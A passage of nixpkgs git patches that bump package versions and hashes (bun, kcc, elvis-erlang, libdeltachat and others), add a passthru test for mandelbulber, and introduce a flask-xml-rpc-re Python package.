"sha256-UcIcCzfe2C7qFJKLo3WxwXyGI1rBBrhQHtrglKNp6ck="; }; useFetchCargoVendor = true; - cargoHash = "sha256-8HxLX94i86F9vsnlZFgvVdTCkponlEA51WXCT3zlc2w="; + cargoHash = "sha256-v3BtcEd1eMtHlDLsu0Y4i6CWA47G0CMOyVlMchj7EJo="; nativeBuildInputs = [ pkg-config ] @@ -43,13 +42,8 @@ rustPlatform.buildRustPackage { ++ lib.optionals stdenv.hostPlatform.isDarwin [ rustPlatform.bindgenHook ]; buildInputs = - [ - openssl - zstd - ] - ++ lib.optionals stdenv.hostPlatform.isDarwin [ - zlib - ] + [ zstd ] + ++ lib.optionals stdenv.hostPlatform.isDarwin [ zlib ] ++ lib.optionals (withDefaultFeatures && stdenv.hostPlatform.isLinux) [ xorg.libX11 ] ++ lib.optionals (withDefaultFeatures && stdenv.hostPlatform.isDarwin) [ nghttp2 @@ -75,9 +69,9 @@ rustPlatform.buildRustPackage { runHook postCheck ''; - checkInputs = lib.optionals stdenv.hostPlatform.isDarwin [ - curlMinimal - ]; + checkInputs = + lib.optionals stdenv.hostPlatform.isDarwin [ curlMinimal ] + ++ lib.optionals stdenv.hostPlatform.isLinux [ openssl ]; passthru = { shellPath = "/bin/nu"; From 258f5c097d7ecdb91f92933839ef84a44be5dd89 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 10:47:39 +0000 Subject: [PATCH 100/390] treesheets: 0-unstable-2025-06-09 -> 0-unstable-2025-06-21 --- pkgs/by-name/tr/treesheets/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/tr/treesheets/package.nix b/pkgs/by-name/tr/treesheets/package.nix index f804e96e2e6c..0fd9e4bfcf38 100644 --- a/pkgs/by-name/tr/treesheets/package.nix +++ b/pkgs/by-name/tr/treesheets/package.nix @@ -12,13 +12,13 @@ stdenv.mkDerivation rec { pname = "treesheets"; - version = "0-unstable-2025-06-09"; + version = "0-unstable-2025-06-21"; src = fetchFromGitHub { owner = "aardappel"; repo = "treesheets"; - rev = "6a1cd3b0eec3f9048c21cc7bfca52ebeaa1e29d4"; - hash = "sha256-5zAOnz5+CCJzlUNK9DhIFy44OE4q+ZZq6AGY40IpZQ8="; + rev = "ebde5f2fbef4e3a05774b4c343f94cde2f9f0a60"; + hash = "sha256-mTJ937w1ZkZB1+kG9AWVBVRRpkaRjFqavIGwmEHvsHU="; }; nativeBuildInputs = [ From 3d6b631faed7820b9f719a613b42da01e253510e Mon Sep 17 00:00:00 2001 From: misilelab Date: Sun, 22 Jun 2025 20:50:52 +0900 Subject: [PATCH 101/390] bun: 1.2.16 -> 1.2.17 https://bun.sh/blog/bun-v1.2.17 Signed-off-by: misilelab --- pkgs/by-name/bu/bun/package.nix | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/pkgs/by-name/bu/bun/package.nix b/pkgs/by-name/bu/bun/package.nix index 89ac630d1601..7ae8d329aea6 100644 --- a/pkgs/by-name/bu/bun/package.nix +++ b/pkgs/by-name/bu/bun/package.nix @@ -17,7 +17,7 @@ }: stdenvNoCC.mkDerivation rec { - version = "1.2.16"; + version = "1.2.17"; pname = "bun"; src = @@ -86,19 +86,19 @@ stdenvNoCC.mkDerivation rec { sources = { "aarch64-darwin" = fetchurl { url = "https://github.com/oven-sh/bun/releases/download/bun-v${version}/bun-darwin-aarch64.zip"; - hash = "sha256-IBaCFzMLDruOkUg25jqvVxQK/wz5VxYidlh8qwQS8X8="; + hash = "sha256-n1X9IT8vdo0C61uYhaqkSx4TB6aAwYYitXCVMCqTGvk="; }; "aarch64-linux" = fetchurl { url = "https://github.com/oven-sh/bun/releases/download/bun-v${version}/bun-linux-aarch64.zip"; - hash = "sha256-gKAkQ0q1sJjCWe5VsfWCgFkdHeKGxcZStjNkCoyZ5j4="; + hash = "sha256-oLmW9IyXe+tOh7CaRx3tfmPuXC+0tyeQx6tLrbwUfWs="; }; "x86_64-darwin" = fetchurl { url = "https://github.com/oven-sh/bun/releases/download/bun-v${version}/bun-darwin-x64-baseline.zip"; - hash = "sha256-WPEJ8m81EF1RogdpAOLhdQamBY7lk6NMRZ3IeeUiHnQ="; + hash = "sha256-pUtqF3ilItj4z1fBgJWsp2QrAJz4FhPkiAX9gpVPsME="; }; "x86_64-linux" = fetchurl { url = "https://github.com/oven-sh/bun/releases/download/bun-v${version}/bun-linux-x64.zip"; - hash = "sha256-+DEdjXyqDZOMbEzs8KYA5enOTidaQR44oun4x30MEAI="; + hash = "sha256-YFQgcHRlO028IyDVph5mTktvQjee/BjWGBv/zAekMZM="; }; }; updateScript = writeShellScript "update-bun" '' From 940d7549f908f3c5a594819852673f1f55a3e16a Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 12:00:55 +0000 Subject: [PATCH 102/390] kcc: 7.4.1 -> 7.5.1 --- pkgs/by-name/kc/kcc/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/kc/kcc/package.nix b/pkgs/by-name/kc/kcc/package.nix index fe482272bccf..068ae17f5f7d 100644 --- a/pkgs/by-name/kc/kcc/package.nix +++ b/pkgs/by-name/kc/kcc/package.nix @@ -11,13 +11,13 @@ }: python3.pkgs.buildPythonApplication rec { pname = "kcc"; - version = "7.4.1"; + version = "7.5.1"; src = fetchFromGitHub { owner = "ciromattia"; repo = "kcc"; tag = "v${version}"; - hash = "sha256-9XYc749dSFNYK61BfuNxH/CJrT/P7YsXNroBsHcsZNA="; + hash = "sha256-XB+xss/QiZuo6gWphyjFh9DO74O5tNqfX5LUzsa4gqo="; }; nativeBuildInputs = [ qt6.wrapQtAppsHook ]; From 4282cb646b2bb318f4c21704ed2f6e0ef0168d7d Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 12:23:54 +0000 Subject: [PATCH 103/390] nanoemoji: 0.15.7 -> 0.15.8 --- pkgs/development/python-modules/nanoemoji/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/nanoemoji/default.nix b/pkgs/development/python-modules/nanoemoji/default.nix index c282157e95c2..30515eef53d5 100644 --- a/pkgs/development/python-modules/nanoemoji/default.nix +++ b/pkgs/development/python-modules/nanoemoji/default.nix @@ -23,14 +23,14 @@ buildPythonPackage rec { pname = "nanoemoji"; - version = "0.15.7"; + version = "0.15.8"; pyproject = true; src = fetchFromGitHub { owner = "googlefonts"; repo = "nanoemoji"; tag = "v${version}"; - hash = "sha256-QdovfpCICDWzNAotXBypk2pvylGrLC4s45OFLalnBSo="; + hash = "sha256-QufiPTVb4bjWgb76DOOt0u4WGiZkbYC7oKkwxv3S8us="; }; patches = [ From 6f02fc8abba8caada1dc6bafc3b1485ec7af2e61 Mon Sep 17 00:00:00 2001 From: Jost Alemann Date: Sun, 22 Jun 2025 14:39:26 +0200 Subject: [PATCH 104/390] readest: 0.9.59 -> 0.9.60 Changelog: https://github.com/readest/readest/releases/tag/v0.9.60 Diff: https://github.com/readest/readest/compare/v0.9.59...v0.9.60 --- pkgs/by-name/re/readest/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/re/readest/package.nix b/pkgs/by-name/re/readest/package.nix index 6c5a7f7fe674..1ffd33d7a3f0 100644 --- a/pkgs/by-name/re/readest/package.nix +++ b/pkgs/by-name/re/readest/package.nix @@ -20,13 +20,13 @@ rustPlatform.buildRustPackage (finalAttrs: { pname = "readest"; - version = "0.9.59"; + version = "0.9.60"; src = fetchFromGitHub { owner = "readest"; repo = "readest"; tag = "v${finalAttrs.version}"; - hash = "sha256-dGtu1BaKfsMOFp4b6S7nNdUrZLZ47c2TQQJ9V6rcjnE="; + hash = "sha256-CEY3q9IT2miEO5Q77Mw2BkiyUWuImmCtDrVyjK6HApo="; fetchSubmodules = true; }; From 534ccc66170c9e515910a71fd8232f678b8b9011 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 12:40:30 +0000 Subject: [PATCH 105/390] vkquake: 1.32.2 -> 1.32.3 --- pkgs/games/quakespasm/vulkan.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/games/quakespasm/vulkan.nix b/pkgs/games/quakespasm/vulkan.nix index 36fbaa4e10cf..b1191ac4d702 100644 --- a/pkgs/games/quakespasm/vulkan.nix +++ b/pkgs/games/quakespasm/vulkan.nix @@ -23,13 +23,13 @@ }: stdenv.mkDerivation (finalAttrs: { pname = "vkquake"; - version = "1.32.2"; + version = "1.32.3"; src = fetchFromGitHub { owner = "Novum"; repo = "vkQuake"; tag = finalAttrs.version; - hash = "sha256-ImgzfwpgALKsK0NvJr9/NBCaUWDxuINu5vYOCMhbRQg="; + hash = "sha256-Nb3nTU0cJK5vNitfNBF7Usc0vTgMxZdQ3I3mjM1E9po="; }; nativeBuildInputs = [ From 0ead409018e4a3426677d1931158f51074fcacf3 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 13:11:07 +0000 Subject: [PATCH 106/390] beam26Packages.elvis-erlang: 4.0.0 -> 4.1.1 --- .../beam-modules/elvis-erlang/default.nix | 4 +-- .../beam-modules/elvis-erlang/rebar-deps.nix | 30 +++++++++---------- 2 files changed, 17 insertions(+), 17 deletions(-) diff --git a/pkgs/development/beam-modules/elvis-erlang/default.nix b/pkgs/development/beam-modules/elvis-erlang/default.nix index b6aba202b7d8..9599f9f335a3 100644 --- a/pkgs/development/beam-modules/elvis-erlang/default.nix +++ b/pkgs/development/beam-modules/elvis-erlang/default.nix @@ -11,12 +11,12 @@ rebar3Relx rec { releaseType = "escript"; pname = "elvis-erlang"; - version = "4.0.0"; + version = "4.1.1"; src = fetchFromGitHub { owner = "inaka"; repo = "elvis"; - hash = "sha256-HJH/p8EHE4zor0LOczpOlDy6sPSI+WVWIS22hGhjQ0s="; + hash = "sha256-9aOJpKYb+M07bi6aEMt5Gtr/edOGm+jyA8bxiLyUd0g="; tag = version; }; diff --git a/pkgs/development/beam-modules/elvis-erlang/rebar-deps.nix b/pkgs/development/beam-modules/elvis-erlang/rebar-deps.nix index 0f53e0ea4ed7..ff3450f97c77 100644 --- a/pkgs/development/beam-modules/elvis-erlang/rebar-deps.nix +++ b/pkgs/development/beam-modules/elvis-erlang/rebar-deps.nix @@ -14,11 +14,11 @@ let packages = with self; { unicode_util_compat = builder { name = "unicode_util_compat"; - version = "0.7.0"; + version = "0.7.1"; src = fetchHex { pkg = "unicode_util_compat"; - version = "0.7.0"; - sha256 = "sha256-Je7m1n32GWDPanlCOVZlmbCeF+Zo03ACR7xJhjgVJSE="; + version = "0.7.1"; + sha256 = "sha256-s6kXhUzjriM2GXRK0eAQLgVnMTZ3b7L6diNPPgOyNkI="; }; beamDeps = [ ]; }; @@ -44,11 +44,11 @@ let }; mimerl = builder { name = "mimerl"; - version = "1.3.0"; + version = "1.4.0"; src = fetchHex { pkg = "mimerl"; - version = "1.3.0"; - sha256 = "sha256-oeFaUNGIchfelfC5sHk+MoU/fCWKXNInZQiJs4g5/p0="; + version = "1.4.0"; + sha256 = "sha256-E68V+faMZYhOzKOjiR1Qp7V9ghUnkvPhnYhlCqEmsUQ="; }; beamDeps = [ ]; }; @@ -74,11 +74,11 @@ let }; certifi = builder { name = "certifi"; - version = "2.13.0"; + version = "2.15.0"; src = fetchHex { pkg = "certifi"; - version = "2.13.0"; - sha256 = "sha256-jz2VM6DwYHCv39XVlrMuIcZYBmekkokYUbDic3vFB6E="; + version = "2.15.0"; + sha256 = "sha256-sUftIs5x1y6v2tlPBVFlwcGC9hov9J3yi8xx0dW5SmA="; }; beamDeps = [ ]; }; @@ -104,11 +104,11 @@ let }; katana_code = builder { name = "katana_code"; - version = "2.1.1"; + version = "2.4.1"; src = fetchHex { pkg = "katana_code"; - version = "2.1.1"; - sha256 = "sha256-BoDzNSW5qILm9NMCJRixXEb2SL17Db6GkAmA/hwpFAQ="; + version = "2.4.1"; + sha256 = "sha256-WO/GO12dq8giMMq1DN5/eyWSh6aQ7Wmfeaf6gPSbCzo="; }; beamDeps = [ ]; }; @@ -162,11 +162,11 @@ let }; elvis_core = builder { name = "elvis_core"; - version = "4.0.0"; + version = "4.1.1"; src = fetchHex { pkg = "elvis_core"; - version = "4.0.0"; - sha256 = "sha256-+i7jDyRkRm01mfsfz6phXImVn8UBmkVhnvett+1CC+U="; + version = "4.1.1"; + sha256 = "sha256-gKViV0uNl0oudUTpqUVXFtBMngldvIyJFeJGgDHdE4U="; }; beamDeps = [ katana_code From c949fa5ef70fe4434dada38d4e94b33a04538e5a Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 13:43:01 +0000 Subject: [PATCH 107/390] vscode-extensions.discloud.discloud: 2.22.50 -> 2.23.9 --- pkgs/applications/editors/vscode/extensions/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix index 963b48977134..70febe4af3bc 100644 --- a/pkgs/applications/editors/vscode/extensions/default.nix +++ b/pkgs/applications/editors/vscode/extensions/default.nix @@ -1476,8 +1476,8 @@ let mktplcRef = { publisher = "discloud"; name = "discloud"; - version = "2.22.50"; - hash = "sha256-O9ourjcg4nwfXZOz9n1vgD6ufTkGYNDZrPLnqPUiCAc="; + version = "2.23.9"; + hash = "sha256-1IwWaaSF3W5y8Cy/lpscbxGm7xyNGf8cAIu3zhTjWKU="; }; meta = { changelog = "https://marketplace.visualstudio.com/items/discloud.discloud/changelog"; From d9a5dc035a4bdb0928f552db8d146ade146a9394 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 14:18:02 +0000 Subject: [PATCH 108/390] glooctl: 1.19.0 -> 1.19.1 --- pkgs/by-name/gl/glooctl/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/gl/glooctl/package.nix b/pkgs/by-name/gl/glooctl/package.nix index d0582f5d4fc1..52bad6b8dece 100644 --- a/pkgs/by-name/gl/glooctl/package.nix +++ b/pkgs/by-name/gl/glooctl/package.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "glooctl"; - version = "1.19.0"; + version = "1.19.1"; src = fetchFromGitHub { owner = "solo-io"; repo = "gloo"; rev = "v${version}"; - hash = "sha256-JRjsxUvJLK3CB7qtRoWvGKdAo486ix98x5+JRhvRrqA="; + hash = "sha256-KWy8uqGUj36tiFcS2joMpBb80ZAKFDYasMoFv8ROVdA="; }; vendorHash = "sha256-eXLlcUTxSjyZKla8NosGQbJAz8HrRGmTDJs7onfgwuQ="; From a3dd1071dd208f38c973d48f0a6ab1f3038af485 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 14:43:24 +0000 Subject: [PATCH 109/390] cardinal: 24.12 -> 25.06 --- pkgs/by-name/ca/cardinal/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ca/cardinal/package.nix b/pkgs/by-name/ca/cardinal/package.nix index 3c26e9975ffb..7e8d35256a0e 100644 --- a/pkgs/by-name/ca/cardinal/package.nix +++ b/pkgs/by-name/ca/cardinal/package.nix @@ -28,11 +28,11 @@ stdenv.mkDerivation rec { pname = "cardinal"; - version = "24.12"; + version = "25.06"; src = fetchurl { url = "https://github.com/DISTRHO/Cardinal/releases/download/${version}/cardinal+deps-${version}.tar.xz"; - hash = "sha256-iXurkftPCfTL3a2zH1RSGIyMISFiUhDawyndNhY8Ynk="; + hash = "sha256-siZbbYrMGjhiof2M2ZBl2gekePuwsKvR8uZCdjyywiE="; }; prePatch = '' From 886a573a1c481828eab92ece271366abe14a08a1 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 15:50:14 +0000 Subject: [PATCH 110/390] doctl: 1.130.0 -> 1.131.0 --- pkgs/by-name/do/doctl/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/do/doctl/package.nix b/pkgs/by-name/do/doctl/package.nix index eb77dd8c8788..d5faf83681b1 100644 --- a/pkgs/by-name/do/doctl/package.nix +++ b/pkgs/by-name/do/doctl/package.nix @@ -9,7 +9,7 @@ buildGoModule rec { pname = "doctl"; - version = "1.130.0"; + version = "1.131.0"; vendorHash = null; @@ -42,7 +42,7 @@ buildGoModule rec { owner = "digitalocean"; repo = "doctl"; tag = "v${version}"; - hash = "sha256-jFgcrJVUCs7RwrXczaKpvt/NjFIk0q26/n8SN8olSYE="; + hash = "sha256-bZpYojpNm9TPJOulxBgXJ0l/JAVxNakA6JifGOhX3BU="; }; meta = { From 221364e65c4d288fe7828a3dea24e8a4124c45d1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= Date: Sun, 22 Jun 2025 10:02:22 -0700 Subject: [PATCH 111/390] libdeltachat: 1.159.5 -> 1.160.0 Diff: https://github.com/chatmail/core/compare/refs/tags/v1.159.5...refs/tags/v1.160.0 Changelog: https://github.com/chatmail/core/blob/v1.160.0/CHANGELOG.md --- pkgs/by-name/li/libdeltachat/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/li/libdeltachat/package.nix b/pkgs/by-name/li/libdeltachat/package.nix index affb889faf1b..9eff15d6faa4 100644 --- a/pkgs/by-name/li/libdeltachat/package.nix +++ b/pkgs/by-name/li/libdeltachat/package.nix @@ -20,13 +20,13 @@ stdenv.mkDerivation rec { pname = "libdeltachat"; - version = "1.159.5"; + version = "1.160.0"; src = fetchFromGitHub { owner = "chatmail"; repo = "core"; tag = "v${version}"; - hash = "sha256-qooN7XRWFqR/bVPAQ8e7KOYNnBD9E70uAesaLUUeXXs="; + hash = "sha256-F88mDic6cnSa8mHhr+uX2WORFgJOu9LChLIS6DqWc40="; }; patches = [ @@ -36,7 +36,7 @@ stdenv.mkDerivation rec { cargoDeps = rustPlatform.fetchCargoVendor { pname = "deltachat-core-rust"; inherit version src; - hash = "sha256-TmizhgXMYX0hn4GnsL1QiSyMdahebh0QFbk/cOA48jg="; + hash = "sha256-pZwCcAOYLKR6wfncIyuisYccNSGK+lqUg6lkyfKPgFk="; }; nativeBuildInputs = From 430d1cc4b1a2e9a82c89082d9394bd3e8d3e5a9f Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 18:00:07 +0000 Subject: [PATCH 112/390] python3Packages.adafruit-platformdetect: 3.79.0 -> 3.80.0 --- .../python-modules/adafruit-platformdetect/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/adafruit-platformdetect/default.nix b/pkgs/development/python-modules/adafruit-platformdetect/default.nix index 76f5cae46860..fa4010950cec 100644 --- a/pkgs/development/python-modules/adafruit-platformdetect/default.nix +++ b/pkgs/development/python-modules/adafruit-platformdetect/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "adafruit-platformdetect"; - version = "3.79.0"; + version = "3.80.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -16,7 +16,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "adafruit_platformdetect"; inherit version; - hash = "sha256-E/UixKuSRBYAw/R/15WxYQpkYDSSLs0svB4gfGTDz38="; + hash = "sha256-b/qdAm0WhWdMp0GcF0qrn8R1yPiYA192gpL/kHD/qQs="; }; build-system = [ setuptools-scm ]; From fe7520befc6e6958426057fefff227b23b800732 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 18:35:56 +0000 Subject: [PATCH 113/390] jmol: 16.3.25 -> 16.3.27 --- pkgs/applications/science/chemistry/jmol/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/science/chemistry/jmol/default.nix b/pkgs/applications/science/chemistry/jmol/default.nix index d4b549027c35..4d7ce8463485 100644 --- a/pkgs/applications/science/chemistry/jmol/default.nix +++ b/pkgs/applications/science/chemistry/jmol/default.nix @@ -31,7 +31,7 @@ let }; in stdenv.mkDerivation rec { - version = "16.3.25"; + version = "16.3.27"; pname = "jmol"; src = @@ -40,7 +40,7 @@ stdenv.mkDerivation rec { in fetchurl { url = "mirror://sourceforge/jmol/Jmol/Version%20${baseVersion}/Jmol%20${version}/Jmol-${version}-binary.tar.gz"; - hash = "sha256-y6IM2xRsueEZCuUtgZg9UnB7Ux4rd+63XJ9kOpMDjRE="; + hash = "sha256-VRyMMkSwdXX80DudS+4uCZBnxypgmR/75PyK/vEJyrs="; }; patchPhase = '' From c1da26295ccaa66f5ab52a3795505d16458ae994 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 18:50:49 +0000 Subject: [PATCH 114/390] tflint-plugins.tflint-ruleset-google: 0.32.0 -> 0.33.0 --- .../tools/analysis/tflint-plugins/tflint-ruleset-google.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/development/tools/analysis/tflint-plugins/tflint-ruleset-google.nix b/pkgs/development/tools/analysis/tflint-plugins/tflint-ruleset-google.nix index e6854817823c..e8f93ced03f5 100644 --- a/pkgs/development/tools/analysis/tflint-plugins/tflint-ruleset-google.nix +++ b/pkgs/development/tools/analysis/tflint-plugins/tflint-ruleset-google.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "tflint-ruleset-google"; - version = "0.32.0"; + version = "0.33.0"; src = fetchFromGitHub { owner = "terraform-linters"; repo = pname; rev = "v${version}"; - hash = "sha256-d15Co7rjqZpcnazkNWVepfGqh2ngI8tieCRugmZkr70="; + hash = "sha256-RZDxo22ynOjNbv8jc/EMimCTxQGSfp8piqgKTO8Phl4="; }; - vendorHash = "sha256-qVzXOg/f9LOnCyV84rRtXi4DGs3jmbrnlviIvoUEEF4="; + vendorHash = "sha256-EHm5MmWpqREr8fUNCkhUO7XMFdXaR1QVRPE3JibNhhM="; # upstream Makefile also does a go test $(go list ./... | grep -v integration) preCheck = '' From 87645a4153d26b0a9ebe09f609b3d9e86c84d86f Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 19:07:42 +0000 Subject: [PATCH 115/390] tabiew: 0.9.4 -> 0.10.0 --- pkgs/by-name/ta/tabiew/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ta/tabiew/package.nix b/pkgs/by-name/ta/tabiew/package.nix index d34cdfa877a1..8dbb553f70eb 100644 --- a/pkgs/by-name/ta/tabiew/package.nix +++ b/pkgs/by-name/ta/tabiew/package.nix @@ -6,17 +6,17 @@ }: rustPlatform.buildRustPackage rec { pname = "tabiew"; - version = "0.9.4"; + version = "0.10.0"; src = fetchFromGitHub { owner = "shshemi"; repo = "tabiew"; tag = "v${version}"; - hash = "sha256-5zeYqSWM/EbwjX7nHqMhERivk0gVra0QntYNh1dIp5Y="; + hash = "sha256-d9tMqZ5pbFK+AuSh3L5NxeRAn8KgvVmTEQaJ02E3pSg="; }; useFetchCargoVendor = true; - cargoHash = "sha256-Yic8maNIjo4Kg6nZ29dtN2PougtOa2WCMMMUiIt9iEs="; + cargoHash = "sha256-SnFVIL3VQO1xjVygepZEvWgNX1vBTbDL0YxKUvHizu0="; nativeBuildInputs = [ installShellFiles ]; From 2ea3fc91438d7a0db284d26120706973255ad427 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 20:34:49 +0000 Subject: [PATCH 116/390] dita-ot: 4.3.2 -> 4.3.3 --- pkgs/by-name/di/dita-ot/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/di/dita-ot/package.nix b/pkgs/by-name/di/dita-ot/package.nix index 85ac70fb909c..8df423ace4d0 100644 --- a/pkgs/by-name/di/dita-ot/package.nix +++ b/pkgs/by-name/di/dita-ot/package.nix @@ -9,14 +9,14 @@ stdenv.mkDerivation (finalAttrs: { pname = "dita-ot"; - version = "4.3.2"; + version = "4.3.3"; nativeBuildInputs = [ makeWrapper ]; buildInputs = [ openjdk17 ]; src = fetchzip { url = "https://github.com/dita-ot/dita-ot/releases/download/${finalAttrs.version}/dita-ot-${finalAttrs.version}.zip"; - hash = "sha256-LmXkFuejnWQh0i1L0/GcD/NBNBCMKE5+7M7bUC0DLIg="; + hash = "sha256-67sJ/nDxjr2ekxd9rkENBLRpK08nqo02LRnWjtQZA5U="; }; installPhase = '' From fff79c396505b9ff3afcc1398704009629058581 Mon Sep 17 00:00:00 2001 From: Michael Daniels Date: Sun, 22 Jun 2025 16:36:32 -0400 Subject: [PATCH 117/390] mandelbulber: cleanup/add tests The package has a test suite, but it's run by just using the --test option on the main program. So I added it to passthru.tests. This required switching to finalAttrs (so I could use finalPackage). --- .../graphics/mandelbulber/default.nix | 23 +++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/pkgs/applications/graphics/mandelbulber/default.nix b/pkgs/applications/graphics/mandelbulber/default.nix index c00ba7439514..00e61c66a7f1 100644 --- a/pkgs/applications/graphics/mandelbulber/default.nix +++ b/pkgs/applications/graphics/mandelbulber/default.nix @@ -2,6 +2,9 @@ lib, stdenv, fetchFromGitHub, + runCommand, + writableTmpDirAsHomeHook, + nix-update-script, libpng, gsl, libsndfile, @@ -15,14 +18,14 @@ assert withOpenCL -> opencl-clhpp != null; assert withOpenCL -> ocl-icd != null; -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "mandelbulber"; version = "2.33"; src = fetchFromGitHub { owner = "buddhi1980"; repo = "mandelbulber2"; - rev = version; + rev = finalAttrs.version; sha256 = "sha256-3PPgH9E+k2DFm8ib1bmvTsllQ9kYi3oLDwPHcs1Otac="; }; @@ -45,13 +48,25 @@ stdenv.mkDerivation rec { ocl-icd ]; - sourceRoot = "${src.name}/mandelbulber2"; + sourceRoot = "${finalAttrs.src.name}/mandelbulber2"; qmakeFlags = [ "SHARED_PATH=${placeholder "out"}" (if withOpenCL then "qmake/mandelbulber-opencl.pro" else "qmake/mandelbulber.pro") ]; + passthru = { + tests = { + test = runCommand "mandelbulber2-test" { + nativeBuildInputs = [ + finalAttrs.finalPackage + writableTmpDirAsHomeHook + ]; + } "mandelbulber2 --test && touch $out"; + }; + updateScript = nix-update-script { }; + }; + meta = with lib; { description = "3D fractal rendering engine"; mainProgram = "mandelbulber2"; @@ -61,4 +76,4 @@ stdenv.mkDerivation rec { platforms = platforms.linux; maintainers = with maintainers; [ kovirobi ]; }; -} +}) From f4b295d7e0517cb5981b3d894d433b5d8c0123a3 Mon Sep 17 00:00:00 2001 From: Malo Bourgon Date: Sun, 22 Jun 2025 14:15:05 -0700 Subject: [PATCH 118/390] signalbackup-tools: 20250617 -> 20250622-1 Diff: https://github.com/bepaald/signalbackup-tools/compare/20250617...20250622-1 --- pkgs/by-name/si/signalbackup-tools/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/si/signalbackup-tools/package.nix b/pkgs/by-name/si/signalbackup-tools/package.nix index 8289a3718895..5c7f0142bb15 100644 --- a/pkgs/by-name/si/signalbackup-tools/package.nix +++ b/pkgs/by-name/si/signalbackup-tools/package.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "signalbackup-tools"; - version = "20250617"; + version = "20250622-1"; src = fetchFromGitHub { owner = "bepaald"; repo = "signalbackup-tools"; rev = version; - hash = "sha256-sX/JM8d0kex09OT8n4IF26+bSPwvTjarqoiRTknA2Og="; + hash = "sha256-QLlnIrlWGbPPD2ZgmvzX28UkVSQHcEUoL/XmajgFs6o="; }; nativeBuildInputs = From bed132b2edf544eddd12111a4332415def230e73 Mon Sep 17 00:00:00 2001 From: Luke Granger-Brown Date: Sun, 15 Jun 2025 17:13:43 +0100 Subject: [PATCH 119/390] flask-xml-rpc-re: init at v0.2.0 --- .../flask-xml-rpc-re/default.nix | 48 +++++++++++++++++++ pkgs/top-level/python-packages.nix | 2 + 2 files changed, 50 insertions(+) create mode 100644 pkgs/development/python-modules/flask-xml-rpc-re/default.nix diff --git a/pkgs/development/python-modules/flask-xml-rpc-re/default.nix b/pkgs/development/python-modules/flask-xml-rpc-re/default.nix new file mode 100644 index 000000000000..ed85b18fab09 --- /dev/null +++ b/pkgs/development/python-modules/flask-xml-rpc-re/default.nix @@ -0,0 +1,48 @@ +{ + lib, + buildPythonPackage, + fetchFromGitHub, + setuptools, + flask, + nose2, +}: + +buildPythonPackage rec { + pname = "flask-xml-rpc-re"; + version = "0.2.0"; + + src = fetchFromGitHub { + owner = "Croydon"; + repo = "flask-xml-rpc-reloaded"; + tag = version; + hash = "sha256-S+9Ur22ExgVjKMOKG19cBz2aCVdEyOoS7uoz17CDzd8="; + }; + + build-system = [ + setuptools + ]; + + dependencies = [ + flask + ]; + + nativeCheckInputs = [ + nose2 + ]; + + checkPhase = '' + nose2 -v + ''; + + pythonImportsCheck = [ "flask_xmlrpcre" ]; + + meta = { + description = "Let your Flask apps provide XML-RPC APIs"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ + lukegb + ]; + homepage = "https://github.com/Croydon/flask-xml-rpc-reloaded"; + changelog = "https://github.com/Croydon/flask-xml-rpc-reloaded/releases/tag/${version}"; + }; +} diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix index 1b091dda03be..55a1932550d1 100644 --- 